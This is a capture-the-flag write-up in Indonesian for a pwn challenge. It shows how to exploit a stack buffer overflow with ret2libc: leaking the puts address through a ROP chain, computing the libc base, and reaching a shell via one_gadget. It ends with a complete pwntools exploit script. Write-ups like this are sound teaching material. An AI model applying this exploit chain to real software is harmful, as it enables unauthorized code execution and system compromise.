# 🐔 Soal Mudah 3
## Overview & Description
**Author : Stanley (Enryu#7942)**
**Points : 1000 pts**
**Difficulty : Hard**
Google akan membantu kamu
`nc 54.179.211.23 11103`
[chall](https://drive.google.com/file/d/1ovHsckYJlvDbmSpMGFa6JDROLfYdw6Kv/view?usp=drive_link) [libc.so.6](https://drive.google.com/file/d/1ymcwNs3I0Y-BCKUmHdCXz6BHXS-vBZNG/view?usp=drive_link)
## Hints
Apakah kalian dapat **membocorkan** sesuatu? Ada banyak jalan menuju 🐚 ~
## TL;DR
- Menemukan padding untuk buffer overflow agar program dapat me-leak address
- Leak puts address untuk mendapatkan base address, tidak perlu mencari versi libc karena dari probset sudah diberikan libc nya
- Gunakan **one_gadget** untuk mendapatkan shell
## Exploitation
Diberikan beberapa attachment berupa binary dan **libc.so.6**. Karena kita diberikan libc oleh probset, pertama2 kita patch dulu binary tersebut dengan libc yang telah disediakan menggunakan **pwninit**. Setelah didecompile dan diteliti lebih dalam, binary ini memiliki 3 function, yaitu **add name**, **delete name**, dan **add note**
Namun disini saat program memanggil function **note()** untuk menambahkan note, terdapat buffer overflow pada function ini. Buffer overflow disini dikarenakan program meng-inisialisasikan variabel **buff** sebesar **32** byte, namun program me-**read** variabel tersebut sebanyak **88** byte

Celah ini bisa kita manfaatkan untuk melakukan ret2libc. Mengapa ret2libc bisa dilakukan untuk mengeksploitasi binary ini?....
Ini dikarenakan saat binary sudah bisa kita eksploitasi menggunakan teknik **buffer overflow**, namun kita tidak bisa mendapatkan shell, karena tidak adanya gadget syscall maupun function yang berisi **system(/bin/sh)**
Untuk melakukan ret2libc sendiri, kita perlu melakukan **leak** address dari beberapa function yang ada di binary ini (Sesuai dari hint challenge). Setelah dicari, ternyata program memanggil lumayan banyak function disini

Kita bisa menggunakan **puts** maupun **printf** untuk melakukan leak address
Jadi idenya kurang lebih seperti ini :
- Leak address dari **puts@GLIBC** yang terdapat pada memory (address ini terdapat di **@plt**)
- Kalkulasikan base address dari libc dengan cara **(leak - libc.sym["puts"])**
- Mendapatkan shell menggunakan **one_gadget**
### Leaking puts() address & calculating LIBC base address
<details>
<summary>Leak Puts Address</summary>
```python
io = start()
libc = ELF("./libc.so.6")
padding = 40
pop_rdi = ROP(elf).find_gadget(['pop rdi'])[0]
ret = ROP(elf).find_gadget(['ret'])[0] # Jaga2 bila terjadi stack alignment pada program
payload = flat({
padding: [
pop_rdi,
elf.got["puts"],
elf.plt["puts"],
elf.sym.main
]
})
io.sendlineafter(b"> ", '3')
io.sendlineafter(b": ", payload)
io.interactive()
```
</details>

Bisa kita lihat disini, kita telah berhasil me-leak address dari **puts@GLIBC**. Tinggal kita unpack lalu kalkulasi **base address**.
<details>
<summary>Unpack and Calculate LIBC Base Address</summary>
``` python
leak = u64(io.recvline()[:-1].ljust(8, b'\x00'))
log.info("leaked puts: %#x", leak)
libc_addr = leak - libc.sym['puts']
log.info("libc address: %#x", libc_addr)
```
</details>

### Get shell using one_gadget instead of calling system(/bin/sh)
Namun disini, daripada memanggil **system(/bin/sh)**, saya memilih untuk menggunakan **one_gadget** untuk mendapatkan shell

Saya akan menggunakan yang pertama, karena di **ROPgadget** juga kebetulan ada gadget **pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret**. Oh iya, jangan lupa untuk mengisi **r12 & r15** dengan null byte, sesuai dengan constraints dari **one_gadget**
<details>
<summary>Payload using one_gadget</summary>
```python=
payload2 = flat({
padding: [
r12_r13_r14_r15,
0x0, # r12 harus null
0xdeadbeef,
0xcafebabe,
0x0, # r15 juga harus null
libc_addr + 0xe3afe
]
})
```
</details>

Dan kita berhasil mendapatkan shell !
## Solve Script
<details>
<summary>exploit.py</summary>
```python
io = start()
libc = ELF("./libc.so.6")
padding = 40
pop_rdi = ROP(elf).find_gadget(['pop rdi'])[0]
r12_r13_r14_r15 = 0x000000000040162c
ret = ROP(elf).find_gadget(['ret'])[0] # Jaga2 bila terjadi stack alignment pada program
payload = flat({
padding: [
pop_rdi,
elf.got["puts"],
elf.plt["puts"],
elf.sym.main
]
})
io.sendlineafter(b"> ", '3')
io.sendlineafter(b": ", payload)
leak = u64(io.recvline()[:-1].ljust(8, b'\x00'))
log.info("leaked puts: %#x", leak)
libc_addr = leak - libc.sym['puts']
log.info("libc address: %#x", libc_addr)
io.sendlineafter(b"> ", b'3')
payload2 = flat({
padding: [
r12_r13_r14_r15,
0x0,
0xdeadbeef,
0xcafebabe,
0x0,
libc_addr + 0xe3afe
]
})
io.sendlineafter(b": ", payload2)
io.interactive()
```
</details>